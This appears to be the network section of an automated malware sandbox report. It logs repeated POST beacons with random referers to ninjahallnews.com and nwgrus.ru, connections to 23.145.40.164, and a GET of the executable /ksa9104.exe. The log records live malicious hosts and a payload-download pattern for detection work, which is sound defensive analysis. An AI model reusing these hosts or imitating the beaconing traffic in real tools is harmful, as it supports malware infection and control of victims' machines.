Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://dkjcfovkypdsnjsq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://ifvxyamcogdoh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 324Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://jhsgrosrfeyc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 227Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://snwbetxwxfjxjjcj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 213Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://duxssctxidfvcwn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 321Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://onmervjnyngctx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 335Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://gapeuqmkxloigpbr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://toeqqmleovvia.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 352Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://bqjkmpxvvpbja.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://jesubehqcutadrf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 358Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://morbrftngjk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 291Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://shalkugnmyu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 341Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://ubaoujicoyurcry.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://oriixfynfaeoogt.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://hqstyqadnnvm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://hlglmlpnwcq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 254Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://xuoelobbpmbhamy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 215Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://ninjahallnews.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 4431Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://qotplnnnyldonj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://cubjgioqceo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 241Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://jcipjgavjhg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://qdnfexfeugqvww.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://hoxyxvpdayru.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://arlhmhxchhgqep.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tdpshksrvfora.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uhxuuwgfmyhe.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 163Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hkuvmvjfakdhd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 153Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gspricnhwajrk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ihkjhoeohsucndfk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 341Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lpitxyhvwvj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yltrrjxrgdt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jypectwcaivky.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 147Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uvanlbvtcqkc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jkgktqvsjdwb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 300Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cxrauupqkavo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fmrccqvtujxqbxpg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://keeemaaxcllp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 171Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iwmxjihevykqvbos.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lxadwtocjtceer.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 213Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hvtgqqwlcbupjdi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 194Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cestfyhpiwlpo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qocskrvscrey.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 158Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tcqfwxekwxifmk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 346Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qhndxwhkmipxgbaj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 122Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://awkedsxfgif.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 221Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xnrwcbelwfy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 120Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hidbwvhnrpsqtckd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kldixuwrvoj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 322Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jrduoddrbbwoyfog.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 312Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fadawnjwyvdbowke.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ejoaxqvdwaljnps.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 166Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qmmqfrtscgkdrbea.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kcwpxhfqrcwcynne.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ksfanihxkdmgc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gshbntjmlxbreay.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mqkcxjfgdkafebli.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 290Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pvrcqmbcktsc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gvwiwavaujycn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://anqkqcglkprylr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lbnjhrckmixdmp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jwckdfwbqxcvipv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 328Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qeoeefjxuhhhbrbu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 331Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xxxghskpkjdphcpk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 259Host: nwgrus.ru

Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164

Source: global traffic

HTTP traffic detected: GET /ksa9104.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.145.40.164

Source: global traffic	DNS traffic detected: DNS query: nwgrus.ru
Source: global traffic	DNS traffic detected: DNS query: ninjahallnews.com
Source: global traffic	DNS traffic detected: DNS query: globalviewsnature.com

Source: unknown

HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: https://emovkvrsbdl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: ninjahallnews.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 01:15:19 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Type: text/html; charset=utf-8Connection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 01:15:35 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Type: text/html; charset=utf-8Connection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 01:15:36 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 409Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 01:15:43 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 409Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 01:16:57 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 01:17:16 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 01:17:34 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 01:17:52 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:21 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 04 00 00 00 72 e8 87 ec Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:23 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
